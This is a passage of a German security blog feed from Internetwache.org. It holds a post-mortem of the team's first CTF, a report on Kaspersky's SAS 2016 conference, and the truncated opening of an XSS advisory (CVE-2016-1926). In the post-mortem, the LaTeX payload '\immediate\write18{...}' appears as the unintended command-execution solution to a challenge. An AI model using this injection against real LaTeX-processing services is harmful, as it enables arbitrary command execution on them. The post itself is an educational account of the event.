<p>Die Domains <code>*.ctf.internetwache.org</code> zeigte auf eine &#8220;floating-ip&#8221;, welche wiederum auf die Proxy-VM verwies. Alle 4 virtuelle Maschinen waren über Digitaloceans privates Netzwerk verbunden.</p>

<p>Auf der Proxy-VM war NGINX konfiguriert, welches als Load-Balancer für HTTP(s) und TCP Traffic dienen sollte.
Der Web-Traffic wurde zu der Webserver-VM und der TCP-Verkehr zur Service-VM weitergeleitet. Dieser zentrale Proxy erlaubte es uns, bösartige Angreifer dort direkt zu stoppen und bei Bedarf auf mehr VMs zu skalieren.
Die Webserver-VM nutzte Apache2, MySQL und php5. Wir nutzten das <a href="http://mpm-itk.sesse.net/">apache2-mpm-itk</a> Modul, um jedem VHost einen eigenen Benutzer zuzuweisen. Die Service-VM nutzte Tools wie <a href="http://cr.yp.to/daemontools.html">Daemontools</a> und <a href="http://cr.yp.to/ucspi-tcp/tcpserver.html">TCPServer</a>, um die Services bereitzustellen. Alle VMs hatten <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Resource_Management_Guide/ch01.html">Cgroups</a> konfiguriert, um die Ressourcen der Nutzer der Gruppe <code>ctf</code> zu limitieren.</p>

<p>Das gezeigt Setup erwies sich als stets solide, wir hatten während des CTFs keine massiven Performanceeinbrüche. Rückblickend hätten wir sogar noch kleinere VMs wählen können - dadurch hätte man allerdings auch nur rund ~$6,5 gespart und zudem wollten wir uns gerade bei unserem ersten CTF keine Panne bei zu enger Ressourcenplanung erlauben.
Während des CTFs kam es nur zu einem sehr kleinem Zwischenfall, bei dem wir einschreiten mussten.</p>

<p>Wir haben unser <a href="https://github.com/internetwache/tinyctf-platform">Spielpanel</a> basierend auf der <a href="https://github.com/balidani/tinyctf-platform">tinyctf-platform</a> aufgebaut. Es ist in Python geschrieben und lässt sich einfach erweitern (wir haben beispielsweise einen CSRF Schutz und einige andere Features eingebaut). Das Scoreboard ist nun Internetwache erprobt und wir werden es sicherlich noch einmal einsetzen - vielleicht im nächsten Jahr.</p>

<h2>Challenges</h2>

<p>Schauen wir uns einmal die Challenges an. Insgesamt gab es 6 Kategorien mit je 5 Challenges:</p>

<h3>Misc</h3>

<ul>
<li>Misc50: Octal und Base64 Kodierung</li>
<li>Misc60: Base64 und QR Codes</li>
<li>Misc70: Pcap Dump mit einer Zipdatei</li>
<li>Misc80: DNS Requests und Hex</li>
<li>Misc90: Barcodes</li>
</ul>


<h3>Web</h3>

<ul>
<li>Web50: PHP magic hashes</li>
<li>Web60: PHP preg_replace mit e modifier RCE</li>
<li>Web70: MySQL truncation vulnerability</li>
<li>Web80: Öffentlicher Git Ordner</li>
<li>Web90: Latex RCE</li>
</ul>


<h3>Rev</h3>

<ul>
<li>Rev50: MIPS assembly</li>
<li>Rev60: Dateiinhaltsprüfungen</li>
<li>Rev70: Switch case Eingabeprüfungen</li>
<li>Rev80: TapeBagel Reversing</li>
<li>Rev90: Rubiks Cube mit Flagge</li>
</ul>


<h3>Crypto</h3>

<ul>
<li>Crypto50: Mehrere Chiffren hintereinander</li>
<li>Crypto60: RSA Schlüsselfaktorisierung</li>
<li>Crypto70: Hash Kollisionen</li>
<li>Crypto80: Stegano / DTMF</li>
<li>Crypto90: Bearbeitung des Ciphertextes</li>
</ul>


<h3>Code</h3>

<ul>
<li>Code50: Gleichungen lösen</li>
<li>Code60: Primzahlen finden</li>
<li>Code70: Kodierte Gleichungen lösen</li>
<li>Code80: Eine Zeichenkette bruteforcen</li>
<li>Code90: BST Baumoperationen</li>
</ul>


<h3>Exploit</h3>

<ul>
<li>Exp50: Ruby Regex</li>
<li>Exp60: Integer-Overflow</li>
<li>Exp70: Variable-Overflow</li>
<li>Exp80: Formatstring Lücke</li>
<li>Exp90: NodeJS &#8216;shell&#8217;</li>
</ul>


<p>Alle Challenges und einige Konfigurationen sind <a href="https://github.com/internetwache/Internetwache-CTF-2016">in unserem GitHub Repository</a> zu finden.</p>

<p><em>Easter-Egg: Alle Portnummern waren Primzahlen</em></p>

<h2>Probleme die aufgetreten sind</h2>

<p>Wir sind auch nur Menschen und wir alle machen Fehler oder stellen während des CTF Fehler fest. Wir finden es wichtig über diese Fehler zu sprechen:</p>

<h3>Web70</h3>

<p>Die angestrebte Lösung für diese Aufgabe war die Nutzung einer sogenannten &#8221;<a href="https://haiderm.com/column-truncation-sql-injection-vulnerability/">mysql truncation vulnerability</a>&#8221;. Diese Schachstelle funktionierte bedauerlicherweise so gut, dass sobald eine Personen einen Exploit erfolgreich ausgeführt hat, andere Teams einfach in der Lage waren sich einzuloggen - zum Beispiel mit <code>admin/admin</code> oder ähnlichen Kombinationen. Das machte die Challenge sehr trivial, aus diesem Grund haben wir die diese einige Zeit offline genommen und einen Quick-and-Dirty Fix implementiert, welcher das Problem behoben hat.</p>

<h3>Web90</h3>

<p>Während der Erstellung dieser Challenge dachte Sebastian an einen bestimmten Lösungsweg. Allerdings vergaß er den Filter um <code>\write18</code> zu erweitern, sodass die Challenge trivial mit <code>\immediate\write18{Kommando}</code> lösbar war. Wie auch immer, wir bemerkten diesen Bug leider viel zu spät, als das es noch fair gewesen wäre, ihn zu beheben. Wir hoffen aber, dass ihr trotzdem was gelernt habt :)
Sebastian wird irgendwann über die geplante Lösung einen <a href="https://0day.work">Blogpost auf 0day.work</a> veröffentlichen.</p>

<h3>Rev90</h3>

<p>Das war die Rubik&#8217;s Cube Challenge. Sebastian hat leider einen kleinen Fehler beim Verwürfeln gemacht. Eine korrigierte Version der README wurde während dem CTF hochgeladen. Entschuldigung dafür! (Wie auch immer, es gab noch einen anderen Weg diese Challenge zu lösen.)</p>

<h3>Crypto50</h3>

<p>Das schien aus unserer Sicht eine einfache Challenge zu sein, allerdings stellte es sich als etwas zu schwierig (zu viel raten?) für die Teilnehmer heraus. Wir hätten die Beschreibung klarer machen sollen.</p>

<h3>Code70</h3>

<p>Das Zeitformat (<code>TIME:CHAR</code>) war ein wenig unklar.</p>

<h3>Code90</h3>

<p>Die Beschreibung war ein wenig uneindeutig, was das Eingabe-/Ausgabeformat anging.</p>

<h3>Dauer</h3>

<p>Die Dauer war eine weitere Sache, die wir überschätzt haben und etwas kürzer hätten wählen sollen. Wir hatten das Gefühl, dass nach 24 Stunden nicht mehr viel Aktivität vorhanden war. Nur noch ein paar Teams, welche die verbleibenden Challenges noch lösen wollten. Allerdings gab es in den letzten Stunden nochmal einen Ansturm. Einige teilten uns mit, dass längere CTFs gut für Einsteigerteams sind und das <a href="https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown">Zeitzonen-Tageslicht-Differenzen</a> vermeidet, sodass es kein so großes Problem darstellte. Der nächste CTF wird bestimmt etwas kürzer sein (ungefähr 12 Stunden). Sebastian hat festgestellt, dass 2 Flaschen <a href="http://www.clubmate.de/">Club Mate</a> ausreichend sind, um 40 Stunden am Stück wach zu bleiben :)</p>

<h3>Schwierigkeit</h3>

<p>Da dies der erste CTF war, den wir gehostet haben, war es schwer für uns die Schwierigkeit der Aufgaben abzuschätzen. Es stellte sich heraus, dass die Aufgaben ein wenig zu einfach waren. Wie auch immer und oben schon erwähnt, half es Neuankömmlingen zu lernen, wie man CTFs spielt und/oder diese funktionieren. Wir geben uns nächstes Mal noch mehr Mühe!</p>

<h3>Weniger Hinweise</h3>

<p>Wir erhielten die Kritik, dass wir zu viele Hinweise im privaten Chat vergeben haben. Rückblickend mag das richtig sein, aber wir haben versucht die Teilnehmer motiviert zu halten. Daher stellten wir Fragen wie &#8216;Wo hängst du fest?&#8217;, &#8216;Was hast du schon probiert?&#8217;, &#8216;Was kennst du noch?&#8217;, &#8216;Was kannst du dir noch (aus)denken?&#8217; und ließen die Fragenden dann die Lösung herausfinden. Unserer Meinung nach reduziert das die Frustration und erhöht das Lernvermögen. Aber nächstes Mal werden wir versuchen die Hinweise allgemeiner zu halten oder öffentlich preiszugeben. (Eine seperate Hinweis-Seite ist eine gute Idee)</p>

<p>Insgesamt lässt sich sagen, dass sich diese Probleme durch noch ausgiebiegeres Testen hätten verhindern lassen können.</p>

<h3>Beschreibbare Ordner</h3>

<p>Einige Leute teilten uns mit, dass sie eine Challenge durch das &#8216;Greppen&#8217; nach dem Flaggenformat auf dem Dateisystem gelöst haben.
Das führte leider zu einigen trivialen Flaggen, denn einige Ordner wie <code>/tmp</code> enthielten temporäre Lösungsdateien anderer Teams. Wir haben diese Probleme während dem CTF behoben, in dem wir ACLs nutzten, um die Schreibrechte, der Nutzer der Gruppe <code>ctf</code> für die Ordner <code>/tmp</code>, <code>/var/tmp</code> und so weiter, zu entfernen.</p>

<h3>Lastspitzen</h3>

<p>Es gab einen interessanten Vorfall. Wir wissen immer noch nicht richtig, was genau passiert ist, aber die Last (Load) sprang plötzlich auf 2600 und ungefähr 6 GB Ram wurden zur gleichen Zeit ausgelastet. Es sieht so aus, als hätte das Cgroups-Limit von 6 GB Ram gegriffen. Interessanterweise war die VM während des Vorfalls reaktionsfähig und ein Neustart von Apache hat das Problem beseitigt.</p>

<p><a rel="fancybox"href="/images/posts/ctf16-load.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ctf16-load.png" alt="Hohe Lastspitze" title="Hohe Last" /></a></p>

<p><a rel="fancybox"href="/images/posts/ctf16-memory.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ctf16-memory.png" alt="Hoher Ramverbrauch" title="Hoher Ramverbrauch" /></a></p>

<h2>Was wir denken, dass es insgesamt gut war</h2>

<p>Okay, dann beleuchten wir auch mal positive Aspekte unseres CTFs. Unserer Meinung nach war die Uptime und die allgemeine Stabilität der Services gut. Ausgeschlossen einiger kleiner Downtimes wegen der Bugfixes, waren alle Services während des CTF erreichbar.</p>

<p>Ein weiterer starker Punkt war die Kommunikation. Wir waren den ganzen CTF lang über Twitter oder im IRC erreichbar. Wir haben kein aktives Cheating, Flaggen-Sharing oder anderes schlechtes Verhalten in unserem IRC channel mitbekommen.</p>

<p>Was uns erfreute waren diverse &#8216;aha&#8217;-Effekte unserer Teilnehmer beim Lösen der Challenges. Es scheint als hätten wir Neuankömmlingen eine gute Möglichkeit geboten, über CTFs zu lernen und das gute Gefühl zu verspüren, wenn man endlich eine Challenge gelöst hat.</p>

<p>Einige erfrischende und/oder interessante Challenges, wie exp80 / exp90 / web90 / rev90 / rev80 (Sebastian&#8217;s persönliche Favoriten).</p>

<h2>Was andere über den CTF denken</h2>

<p>Wir nutzten eine <a href="https://docs.google.com/forms/d/1FDtd3lLscW4pvwEonh0rKeHiWsGOY5STlo-ElauyE-M/">Google Umfrage</a> um nach Feedback zu fragen. 80 Leute waren so nett uns eine handvoll an Fragen zu beantworten. Wir würden gerne einige dieser Antworten mit euch teilen.</p>

<p>Einige Grafiken:</p>

<p><a rel="fancybox"href="/images/posts/iwctf16-ctf.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-ctf.png" alt="How many CTFs have you participated in?" title="ctf before" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-impression.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-impression.png" alt="What was your overall impression of the CTF?" title="overall impression" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-communication.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-communication.png" alt="How would you rate the communication between the organizers and competitors during the competition?" title="communication between researcher and organizers" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-difficulty.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-difficulty.png" alt="How would you rate the overall difficulty of the challenges?" title="difficulty of tasks" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-chals.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-chals.png" alt="In general, I think the challenges were ..." title="challenges opinion" /></a></p>

<p><a rel="fancybox"href="/images/posts/iwctf16-playing.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/iwctf16-playing.png" alt="Would you consider playing in Internetwache CTF next year?" title="next year" /></a></p>

<p>Allgemeines Challenges Feedback:</p>

<ul>
<li>Challenge and scoreboard availability was good, services seemed to be mostly up and responsive for me, even with so many participants, nice job on that! However, we had some beginners on the team and I think it&#8217;s great to have easy challenges as well so they don&#8217;t get frustrated. They should not constitute the heart of the contest though.</li>
<li>Very good, especially for the 1st CTF you&#8217;ve run!</li>
<li>A bit on the easy side - but that is also fine sometimes. Great quality in presentation, and descriptions.</li>
<li>It seems little bit easy to solve the challenges, but even if that we&#8217;ve learned lots of new stuff from challenges in time.</li>
<li>I liked that the difficulty was not immediately visible. Encouraged me to try all the challenges and not to start with the easy ones.</li>
</ul>


<p>Abschließende Worte:</p>

<ul>
<li>Extremly well done for the first time hosting a CTF, and one of the most enjoyable CTFs so far this year. Good challenge difficulty for beginning CTF teams. Time limit was okay, bit long maybe, but that leaves the less active teams time to enjoy the challenges</li>
<li>Great IRC moderators! This CTF was well run which is very much appreciated after several badly run CTFs this year.</li>
<li>Good job.Thanks :)</li>
<li>Awesome job guys, looking forward to next year!</li>
<li>I&#8217;d like to point out that your organizing work is clearly above average.</li>
<li>Unlike some CTFs, this has potential to not suck.  It&#8217;s a little rough right now, but I think everyone forgives you for minor mistakes in the beginnings of a major undertaking.</li>
</ul>


<p>Wir freuen uns schon darauf, nächtes Jahr einen weiteren CTF zu hosten.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Besuch auf dem Security Analyst Summit #TheSAS2016]]></title>
    <link href="https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016-28-02-2016/"/>
    <updated>2016-02-28T23:15:00+01:00</updated>
    <id>https://www.internetwache.org/besuch-auf-dem-security-analyst-summit-number-thesas2016</id>
    <content type="html"><![CDATA[<p>Vor kurzem war <a href="http://twitter.com/TimPhSchaefers">Tim</a> auf dem <a href="http://sas.kaspersky.com/">Security Analyst Summit</a> von Kaspersky Labs (#TheSAS2016) eingeladen, welcher dieses Jahr im Februar auf Teneriffa (Kanarische Inseln) stattfand.
In diesem Beitrag möchte er seine Eindrücke schildern und einen kleinen Überblick darüber geben, was (aus Sicht der Security-Community) die spannensten Beiträge waren.</p>

<p>TL;DR #TheSAS2016 war eine großartige Erfahrung und Tim hat sehr viel gelernt, da jeder Tag mit vielen Erlebnissen und dem Lernen und Erfahren neuer Dinge einherging. Die Örtlichkeiten waren beeindruckend, die Atmosphäre war etwas besonderes, die Leute waren allesamt sehr nett - alles zusammen war es ein super Erlebnis!</p>

<!-- more -->


<p>Zunächst einmal für alle die nicht den <a href="https://twitter.com/search?f=tweets&amp;vertical=default&amp;q=%23TheSAS2016&amp;src=typd">#TheSAS2016</a> in ihrer Twitter-Timeline und keine Berichte in den Medien gesehen haben oder einfach nicht wissen, worum es bei SAS geht:
SAS steht für &#8220;Security Analyst Summit&#8221; und ist eine invite-only Sicherheitskonferenz organisiert von <a href="https://sas.kaspersky.com/">Kaspersky</a> . In diesem Jahr wurde die Konferenz auf Teneriffa (Kanarische Inseln) abgehalten.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Ready for <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/ClHu3yYzt0">pic.twitter.com/ClHu3yYzt0</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/696097766951493632">6. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Personen aus der Security-Community, von Strafverfolgungsbehörden und CERTs kommen zusammen, um ihre Ideen zu teilen und darüber zu debattieren, wie man auch zukünftig die Cyberwelt sichert und Cyberkriminalität effektiv bekämpfen kann. Dieses Jahr waren es insgesamt über 330 Teilnehmer. Die Themen der Vorträge gehen von Cyberspionage, über Webhacking, Security/Safety, Malware Analyse bis hin zu ICS Hacking.</p>

<p>In diesem Jahr wurde die Eröffnungsrede von John Lambert <a href="https://twitter.com/JohnLaTwC">@JohnLaTwC</a> gehalten. Er ist Leiter des Threat Intelligence Centers bei Microsoft und sein Vortrag handelte über neue Möglichkeiten im Bereich der Verteidigung (&#8220;Changing the Physics of Defense&#8221;). Da wir (bei Internetwache.org) meistens die Position eines Angreifers einnehmen und Sicherheitslücken bei Unternehmen offenlegen, war dieser Vortrag tatsächlich sehr erkenntnisreich. Auf der einen Seite zeigte er wie schwer es sein kann Systeme zu sichern, wenn man sich auf traditionelle Verfahren verlässt, zeigte aber auf der anderen Seite wie gut man mit modernen Methoden dafür sorgen kann, dass Systeme und Anwendungen sicherer werden.</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">Modern defenders vs traditional: think about adversaries not incidents, by <a href="https://twitter.com/JohnLaTwC">@johnlatwc</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/gss5MITuO1">pic.twitter.com/gss5MITuO1</a></p>&mdash; Eugene Kaspersky (@e_kaspersky) <a href="https://twitter.com/e_kaspersky/status/696647491719196673">8. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>John hat seine Folien nach dem Vortrag in seinem <a href="https://onedrive.live.com/redir?resid=F29DB6166A2D81B4!108&amp;authkey=!AJaS6VKY2AeMdDU&amp;ithint=file%2cpdf">Onedrive</a> online gestellt. Jeder der daran Interesse hat zu erfahren, wie moderne Sicherheitskonzepte aussehen sollten oder wie Microsoft mit seinem Vorgehen erfolgreich Zero-Day Lücken schließt, dem empfehlen wir ausdrücklich die Lektüre der Folien.</p>

<p>Neben einigen spannenden Vorträgen über offensive und defensive Sicherheitsmaßnahmen gab es auch einige &#8220;Enthüllungen&#8221; über APTs (advanced persistent threats) oder die Tools von Cyberkriminellen, etwa der &#8220;Poseidon APT&#8221;, &#8220;Adwind&#8221; und viele mehr.
Hier führen wir nur einige Beispiele auf, sollte tiefergehendes Interesse an einigen Voträgen bestehen, so kann man sich auf <a href="https://securelist.com/all/?tag=752">securelist.com</a> einige Artikel mit dem #TheSAS2016 durchlesen. Auch die Kollegen von <a href="https://twitter.com/Kaspersky_DACH">Kaspersky DACH</a> haben einige <a href="https://blog.kaspersky.de/?s=%23TheSAS2016&amp;submit=Search">Artikel</a> online gestellt.</p>

<h3><a href="https://blog.kaspersky.de/poseidon-apt-boutique/6967/">Peoseidon APT</a></h3>

<p>Sicherheitsforscher des Kaspersky GREAT Team haben eine vermutlich portugiesisch-sprechende Gruppe von Cyberkriminellen ausmachen können, die seit circa einer Dekade für Unruhe sorgen. Die Angreifer gehen dabei allerdings sehr geschickt vor und agieren meist unauffällig, um Spuren zu verwischen. Zwischenzeitlich nutzten sie sogar die Infrastruktur von Unternehmen, nur um damit andere Unternehmen anzugreifen. Dem Namen &#8220;Poseidon&#8221; haben sie erhalten, da es der Gruppe zwischendurch gelang der Satelieten-Kommunikation, welche eigentlich Schiffen vorbehalten war, habhaft zu werden. In einigen Fällen nutzten die Angreifer das alte &#8220;wri&#8221;-Dateiformat (Windows Write Document) um damit Sicherheitsvorkehrungen zu umgehen und mittels sozialer Manipulation Angreife durchzuführen. Die Gruppe ist vermutlich immernoch aktiv. Tim hat den ersten deutschsprachigen Artikel zu der Gruppe auf <a href="http://www.golem.de/news/poseidon-gruppe-ueber-ein-jahrzehnt-internationale-cyberattacken-1602-119014.html">golem.de</a> veröffentlicht.</p>

<h3><a href="https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf">Adwind</a></h3>

<p>Malware-as-a-service scheint für Online-Kriminelle ein sehr lukratives Geschäft zu sein. Mit &#8220;Adwind&#8221; wurde von den Sicherheitsexperten von Kaspersky ein multi-Plattform RAT (Fernwartungsprogramm) entdeckt. Es ist komplett in Java entwickelt und läuft daher auf viele verschiedenen Systemen (z.B. Windows, Linux, Mac, etc). Die Forscher fanden heraus, dass es dort eine Art Online-Abonnement-Modell für dieses Tool gibt. Das ist der Grund warum diese Malware in verschiedenen APT und Spamkampagnen genutzt werden.</p>

<p>Es gab sehr viele weitere gute Vorträge - zum Beispiel über:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=PDg5i11RT6k">Krankenhäuser hacken</a> von <a href="https://twitter.com/61ack1ynx">@61ack1ynx</a></li>
<li>Event-Visualisierung nutzen, um mehr Informationen über Sicherheitsvorfälle zu bekommen von <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> von Pixlcloud</li>
<li><a href="https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/">Moderne Banküberfälle</a></li>
</ul>


<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">I&#39;m not going to try to summarize this. Basically look for patterns. <a href="https://twitter.com/raffaelmarty">@raffaelmarty</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/OFCKsqr6zA">pic.twitter.com/OFCKsqr6zA</a></p>&mdash; Chris Eng (@chriseng) <a href="https://twitter.com/chriseng/status/697056267089670146">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Dieser Blogpost würde zu keinem Ende kommen, falls Tim alle guten Vorträge und die hervoragende Arbeit dahinter aufzählen würde - Entschuldigung dafür!</p>

<p>Am zweiten Tag war Tim besonders an den Voträgen von Kymberlee Price <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> von <a href="https://twitter.com/bugcrowd">@bugcrowd</a> und Katie Moussouris <a href="https://twitter.com/k8em0">@k8em0</a> von <a href="https://twitter.com/Hacker0x01">HackerOne</a>.</p>

<p>Als Hintergrundinfo, warum Tim so interessiert an den Vorträgen war (für alle die unsere Arbeit noch nicht besonders lange verfolgen):
Wir (bei Internetwache) beteiligen uns seit 2012 an Bug Bounty Programmen - damals gab es nur eine handvoll Unternehmen, welche überhaupt ein solches Programm hatten (in Europa gab es - gefühlt - gar keine Unternehmen). Aus diesem Grund haben wir uns damals sehr gefreut, dass es Unternehmen wie Bugcrowd oder HackerOne gab, welche Sicherheitsforschern, wie uns, halfen und Prozesse zur Offenlegung von Sicherheitslücken entwarfen.
Wir waren auf beiden Plattformen von Beginn an sehr aktiv: <a href="https://bugcrowd.com/internetwache">@Internetwache auf Bugcrowd</a> und <a href="https://hackerone.com/internetwache">@Internetwache auf HackerOne</a> . Das wir von Beginn an als Team gearbeitet haben ist auch recht außergewöhnlich, bis heute sind die meisten Teilnehmer Einzelgänger.</p>

<p>Zurück zum eigentlichen Thema: #TheSAS2016 Vorträge:</p>

<p>In ihrem Votrag hob <a href="https://twitter.com/Kym_Possible">Kymberlee</a> hervor, dass nicht die Prozesse zur Offenlegung von Sicherheitslücken ein Problem seien (diese sind oft gut durchdacht), sondern vielmehr das fehlende Vertrauen zwischen der Security-Community und den Unternehmen. Wir glauben ebenfalls, dass &#8220;Vertrauen&#8221; essenziell für jede Art von Bug Bounty Programm ist. Oftmals haben Sicherheitsforscher mehr Vertrauen zu den Firmen als umgekehrt. Wir alle müssen an diesem Vertrauen arbeiten - vielleicht schreiben wir dazu bald noch einmal einen Blogartikel.</p>

<p>Sie nutzte eine sehr schöne Folie von David Lenoe um hervorzuheben, dass man sich gegenseitig Respekt zollen sollte und zusammenhalten sollte:</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;No one in the security community is evil &#8230; at least the ones who actually communicate with you.&quot; <a href="https://twitter.com/Kym_Possible">@Kym_Possible</a> of <a href="https://twitter.com/Bugcrowd">@bugcrowd</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a></p>&mdash; Internetwache (@internetwache) <a href="https://twitter.com/internetwache/status/697074457144397825">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Katie <a href="https://twitter.com/k8em0">@k8em0</a> hob ebenfalls hervor, dass Hacker wichtig für Gesellschaften und Unternehmen seien - &#8220;Die Welt braucht Hacker&#8221; (englisch: &#8220;the world needs hackers&#8221;).</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">&quot;The world needs Hackers&quot; <a href="https://twitter.com/k8em0">@k8em0</a> of <a href="https://twitter.com/Hacker0x01">@Hacker0x01</a> <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> <a href="https://t.co/svkOkbQ0N7">pic.twitter.com/svkOkbQ0N7</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697080747132321793">9. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>Ihr Vortrag war über Exportkontrollen und moderne Sicherheit. Für Sicherheitsforscher und -unternehmen stellt sich ein Problem dar, dass mit dem Wissen (wie 0days) zusammenhängt. Das &#8220;Wassenaar Arrangement&#8221; macht es schwer mit solchen Informationen zu reisen, denn &#8220;intrusion software&#8221; (Hackingtools, etc) stehen beispielsweise auf der Liste von zu überwachenden Waren - Katie möchte, dass das &#8220;Wassenaar Arrangement&#8221; geändert wird, denn Ausnahmen für Sicherheitsexperten sind laut ihrer Ansicht nicht ausreichend um sicherzustellen, dass die betroffenen Personen und Unternehmen in ihrer Arbeitsgestaltung frei sind.</p>

<p>Der letzte Tag der #TheSAS2016 war ein Entertainment-Tag. Wir machten eine Safaritour, besuchten den Teide Nationalpark und das Teide-Observatorium und entspannt uns ein wenig &#8230; Sowohl die Landschaft während der Auffahrt, als auch der Ausblick vom Teide waren wirklich eindrucksvoll.</p>

<p><a rel="fancybox"href="/images/posts/thesas16-1.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-1.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-2.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-2.jpg" alt="Safari Tour" title="Safari Tour" /></a></p>

<p><a rel="fancybox"href="/images/posts/thesas16-3.jpg" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/thesas16-3.jpg" alt="Auf dem Teide" title="Auf dem Teide" /></a></p>

<p>In diesem Blogpost haben wir einige andere tolle Ereignisse auf dem #TheSAS2016, wie z.B. das Gala-Dinner oder interessante Gespräche, die Tim hatte, ausgelassen - aber das war erstmal alles für heute.
Wenn du mehr über #TheSAS2016 herausfinden willst, dann solltest du einen Blick auf den Blog von <a href="https://eugene.kaspersky.com/2016/02/16/its-a-tough-job-but-someones-got-to-do-it/">Eugene Kasperky</a> oder seine Bilder auf <a href="https://www.flickr.com/photos/e_kaspersky/sets/72157664549131166">Flickr</a> werfen.</p>

<p>Insgesamt war es für Tim sehr interessant einige der Menschen zu treffen, die man sonst nur aus dem Internet oder von Twitter kennt, um deren Ideen über Sicherheit zu erfahren. Leider gab auch eine traurige Sache: Einige Vorträge, denen Monate oder Jahre lange Nachforschung vorausging, mussten teilweise innerhalb von 30 Minuten vorgestellt werden - In manchen Fällen hätte man gerne die komplette Geschichte gehört. Nichtsdestotrotz war das Event großartig! Es würde sogar noch besser sein, wenn mehr Forscher aus der Security-Community dort wären - solltest du also jemals eine Einladung zum SAS kriegen, dann solltest du nicht zweimal darüber nachdenken, ob du diese besondere Gelegenheit wahrnimmst.</p>

<p>Vielleicht sehen wir uns ja auf #TheSAS2017 :)</p>

<p>Das Team der Internetwache.org</p>

<blockquote class="twitter-tweet" data-lang="de"><p lang="en" dir="ltr">That was <a href="https://twitter.com/hashtag/TheSAS2016?src=hash">#TheSAS2016</a> - lets move on!<br>Thanks for the great time :) <a href="https://twitter.com/kaspersky">@kaspersky</a> <a href="https://twitter.com/e_kaspersky">@e_kaspersky</a> <a href="https://twitter.com/ryanaraine">@ryanaraine</a> <a href="https://twitter.com/JacobyDavid">@JacobyDavid</a> <a href="https://t.co/P4TvQ7oXUE">pic.twitter.com/P4TvQ7oXUE</a></p>&mdash; Tim Philipp Schäfers (@TimPhSchaefers) <a href="https://twitter.com/TimPhSchaefers/status/697763349854085120">11. Februar 2016</a></blockquote>


<script async src="https://www.internetwache.org//platform.twitter.com/widgets.js" charset="utf-8"></script>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVE-2016-1926 - XSS im Greenbone Security Assistant]]></title>
    <link href="https://www.internetwache.org/cve-2016-1926-xss-im-greenbone-security-assistant-20-01-2016/"/>
    <updated>2016-01-20T13:30:00+01:00</updated>
    <id>https://www.internetwache.org/cve-2016-1926-xss-im-greenbone-security-assistant</id>
    <content type="html"><![CDATA[<p>Momentan beschäftigt sich Tim aus beruflichen Gründen mit dem Software-Framework &#8220;OpenVAS&#8221; (&#8220;Open Vulnerability Assessment System&#8221;). Da die Software Open-Source ist, haben wir einige Abende damit verbracht nach Sicherheitsücken in der dazugehörigen Webapplikation, dem Greenbone Security Assistant, zu suchen. Sebastian wurde nach einiger Zeit fündig und wir konnten die Lücken dem Hersteller gegenüber verantwortlich offenlegen - diese wurden bereits behoben.</p>

<!-- more -->


<p>Für alle die nicht wissen, worum es bei <a href="http://www.openvas.org/about.html">OpenVAS</a> geht:
OpenVAS ist eine Software zum Schwachstellen-Management. Konkret kann man mit dieser Software Penetrationstests gegen IT-Systeme vornehmen und die Ergebnisse entsprechend aus- und bewerten. OpenVAS wird unter anderem im Greenbone Security Manager verwendet und ist zudem in jedem Kali Linux integriert.</p>

<h2>CVE-2016-1926: XSS</h2>

<p>Beim Abruf der Statistiken wurde folgender AJAX-Request an das Backend geschickt:</p>

